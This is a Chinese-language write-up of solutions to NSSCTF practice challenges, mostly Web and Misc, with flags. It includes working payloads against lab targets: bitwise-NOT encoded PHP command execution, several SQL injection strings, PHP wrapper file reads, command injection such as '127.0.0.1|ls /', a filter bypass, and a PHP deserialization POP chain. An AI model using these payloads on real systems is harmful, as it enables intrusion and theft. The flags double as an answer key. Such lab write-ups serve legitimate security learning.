Web
[SWPUCTF 2021 新生赛]Do_you_know_http
题目:
让我们使用WLLM浏览器
修改一下User Agent
抓包修改
这里提示只能访问自己的本地地址
这里在请求包里面加一个自己的XFF头
X-Forwarded-For:127.0.0.1
发现了一个地址,访问一下,得出flag
NSSCTF{a4a6c136-9522-4f70-b45c-02029457420a}
补充
这题前面是修改一个User Agent的头
后面是伪造一个XFF头访问
下面是User Agent内的信息
[SWPUCTF 2021 新生赛]gift_F12
查看源代码,一个简单的js泄露
NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}
[SWPUCTF 2021 新生赛]caidao
题目:
用中国蚁剑连接一下,查看到根目录下发现flag文件
NSSCTF{bebc7f52-7f2c-4242-9ca2-6cece6db65b1}
Misc
[NSSCTF]GIF分离
题目:
一个gif文件
拖进随波逐流进行gif逐帧分解
得到四张图片
H1d3_
On_
6ush!
NSSCTF{H1d3_On_6ush!}
Web
[SWPUCTF 2021 新生赛]hardrce
题目:(WAF绕过、RCE、无字母RCE)
这题我们可以看到是一个命令执行的传参,但是对传入的参数做了很多限制,基本上能传的传不了
所以这里我们用url编码后再取反即可构造payload
system:(~%8C%86%8C%8B%9A%92)
ls /:(~%93%8C%DF%D0)
payload:
?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);
发现已经找到 flllllaaaaaaggggggg
再进行同样的操作进行url编码取反
cat /flllllaaaaaaggggggg
(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
所以最终的payload就是
?wllm=system cat /flllllaaaaaaggggggg
取反就是
?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
即得flag
NSSCTF{fb73ee2e-f7da-4d96-89dd-11e7be584b8e}
[suctf 2019]EasySQL
题目:
我们先尝试一下常规注入,发现没有什么东西
1' or '1'='1'# #or语句
1' order by 3# #order语句
1' union select 1,2,3# #联合查询1'and(select extractvalue(1,concat('~',(select database())))) #报错注入
1' and if(length(database())>1,sleep(5),1)--+ #时间注入
输入1,发现可能有堆叠注入
1;show databases#
1;show tables#
1;show columns from 'Flag'#
测试完堆叠注入,发现事情没有那么简单
看了wp才知道,原来是要去猜测出本来的sql语句查询时什么样的
select $_POST[‘query’] || flag from Flag
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2
POST[‘query’]提交的数据换成∗,1(如果直接写的话会被报错,且写在后面会失效)解释:sql=select.post[‘query’]."∣∣flagfromFlag";(拼接语句)如果post[‘query’]的数据为
*,1
sql语句就变成了select *,1||flag from Flag
所以payload为:
1;set sql_mode=PIPES_AS_CONCAT;select 1
即得flag
NSSCTF{041915b8-72fd-4dd6-b2e9-6a4a6c24e712}
Misc
[SWPU 2019]漂流记的马里奥
题目:
将文件放入随波逐流binwalk一下
里面有个压缩包
即可获得flag
NSSCTF{ddg_is_cute}
Web
[ZJCTF 2019]NiZhuanSiWei
题目:
这里用到两个伪协议和一个反序列化,这里主要需要读到useless.php里有什么内容
text=data://text/plain,welcome to the zjctf
file=php://filter/convert.base64-encode/resource=useless.php
这里读出了一段base64编码
解码一下base64得到
可构造password反序列化
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
成功读到返回字符
Ctrl+U查看源码,发现flag
NSSCTF{bdcffe66-146b-4f32-b3ad-c40dba69100f}
[NSSCTF 2022 Spring Recruit]ezgame
题目:
这题把自己kill查看js代码
Ctrl+F搜索NSSCTF即可得flag
NSSCTF{02dc9869-ffb5-4ad1-9942-ccba54cd7a9e}
Web
[LitCTF 2023]Follow me and hack me
题目:
根据提示直接传参
总结:GET传参andPOST传参
[LitCTF 2023]Ping
题目:
这题让我们ping一下,我们直接看一下源码,发现源码里有js的过滤语句
这么我们直接禁用js执行linux指令
F12+F1唤起设置
直接在输入框,输入ip地址和linux指令
127.0.0.1|ls /
我们查一下这个文件
cat /flag
直接得到flag
NSSCTF{9b871929-9b1a-44e6-b2cb-ef349339c882}
[BJDCTF 2020]easy_md5
题目
输入了一下参数什么都不显示
用BP抓个包
发现了一个hint头里面有一个SQL语句
发现参数的值会被MD5加密
所以这里使用了一个万能绕过语句
ffifdyop 加密结果是276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密。关键参数为md5(xx,true)
接下来我们输入
Ctrl+U查看源码
这里就很简单了
两个GET传参且a不等于b
但是a和b的加密md5相等
我们用以前积累的两个md5
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
这里我们查看源码发现
md5强类型对比利用空数组绕过。md5不能对数组加密
param1[]=2¶m2[]=1
即可获得flag
NSSCTF{67251767-4028-4e90-8a14-bb6f16f006f5}
Misc
[领航杯江苏省赛 2021]签到题
总结:Word隐写
题目:
Ctrl+a全选,看看有无隐藏数据
即得flag
NSSCTF{2021 welcome you}
[鹤城杯 2021]New MISC
题目:
这题利用wbstego4.3打开
选择Decode
这里是空密码
导出解码后的文件路径及名字
即得flag
NSSCTF{verY_g00d_YoU_f0und_th1s}
[LitCTF 2023]Osint小麦果汁
题目:
我们可以找一找wifi什么的,因为店家一般都会将店名设为wifi名字
发现墙上有wifi
又flag为中文名字
翻译一下Hacker和Craft
黑客与精酿
即得flag
NSSCTF{黑客与精酿}
Web
[SWPUCTF 2021 新生赛]jicao
题目:
我们一行一行代码看
第一行、用来显示括号里文件的源码
第二行、包含了一个flag.php的文件
第三行、通过POST请求获取名为id的参数值赋值给$id
第四行、这里的json_decode是将获得的json参数解码成PHP数组
第五行、如果id的值为wllmNB且json的键值对为{"x":"wllm"},则会输出flag。
NSSCTF{fa18eba5-2f07-4977-8aab-91829c06781b}
补充
json_decode() 可以对JSON字符串「解码」,并转换PHP变量
$json_str :需要解码的JSON字符串,只能处理UTF-8编码的数据
assoc :布尔类型,true返回数组,(默认)false返回对象
depth :整数类型,递归的深度(默认512层),最大 2147483647 层
options :二进制掩码,目前只支持 JSON_BIGINT_AS_STRING
[SWPUCTF 2021 新生赛]easy_md5
题目:
可以看到,这是一个文件包含题
isset函数为检测参数是否为空
这里给了两个参数
一个GET参数name
一个POST参数password
这段代码想要执行下去得name的参数和password参数不相等,且两个参数md5加密后的参数相等(弱相等)
这里们可以直接选择两个加密后头为0e的参数传参
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
构造完pocflag也就是出来了
NSSCTF{86214bfe-afc2-40e3-83ee-6078dc8e571b}
[SWPUCTF 2021 新生赛]nc签到
题目:
直接nc连接一下,下载题目的附件,发现了黑名单
通过l\s tac$IFS$1flag
阔以直接接出来
NSSCTF{fda70609-f61b-464b-ac4d-761491cddcb6}
Misc
[NISACTF 2022]bqt
题目:
下载题目发现是个没后缀的文件,我们丢进Winhex看看文件结构
发现一个PDF的头,我们将文件改为PDF打开看看
没什么提示,丢进随波逐流里面看看
文件分离也没有什么可用的信息
我们在切换到pdf图片中,Ctrl+a看看有无隐写数据
发现果然存在
复制一下
c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd
因为是16进制数据,所以先将一串字符每两个字符之间加一个空格并打印
s = 'c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd'
result = ''
for i in range(0, len(s), 2):
result += s[i:i+2] + ' '
print(result)
c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd
200 233 172 160 195 244 230 229 242 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 230 236 225 231 251 247 229 230 229 239 233 228 234 231 239 229 228 243 230 233 239 242 240 229 230 228 230 231 231 230 228 243 229 253
因为flag一般最后一个字符是}
}字符的ASCII码序号是125
253-125=128,可以每个字符减128试试
将每个数字减去128:
numbers = [200, 233, 172, 160, 195, 244, 230, 229, 242, 161, 160, 212, 232, 229, 160, 230, 236, 225, 231, 160, 233, 243, 186, 160, 230, 236, 225, 231, 251, 247, 229, 230, 229, 239, 233, 228, 234, 231, 239, 229, 228, 243, 230, 233, 239, 242, 240, 229, 230, 228, 230, 231, 231, 230, 228, 243, 229, 253]
result = []
for num in numbers:
result.append(num - 128)
print(result)
72, 105, 44, 32, 67, 116, 102, 101, 114, 33, 32, 84, 104, 101, 32, 102, 108, 97, 103, 32, 105, 115, 58, 32, 102, 108, 97, 103, 123, 119, 101, 102, 101, 111, 105, 100, 106, 103, 111, 101, 100, 115, 102, 105, 111, 114, 112, 101, 102, 100, 102, 103, 103, 102, 100, 115, 101, 125
10转ASCII即得flag
NSSCTF{wefeoidjgoedsfiorpefdfggfdse}
[SWPU 2020]耗子尾汁
题目:
这里题目是一个gif文件,我们首先文件分离一下
两个压缩包
第一个:
发现被防住了哈,出题者竟然预判了我
第二个:
是一个MP4观看视频的时候发现了一串base64
c2lnbl9pbg==解码一下得到sign_in
我们再将mp4分离一下,分离出来一个加密的压缩包,拿刚刚解码出来的结果试试
成功解压里面的文本,发现又一串加密
在将它按照base64 base32 hex 依次解码得到字符串:lvueiakxudsyqehszqhykggsyylkvvi
在根据下面的提示:单表替换密码,
在尝试之后发现是仿射,解码之后得到flag
在解密一下
解得最终的flag为FLAGYOUHAVESIGNEDINSUCCESSFULLY
NSSCTF{you_have_signed_in_successfully}
Web
[SWPUCTF 2021 新生赛]pop
题目:(反序列化)
# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>
用小皮打开一下获得payload
反序列化传入,获得flag
NSSCTF{f27680da-ac69-452d-930d-a74d31e33632}
版权归原作者 Tame_0420 所有, 如有侵权,请联系我们删除。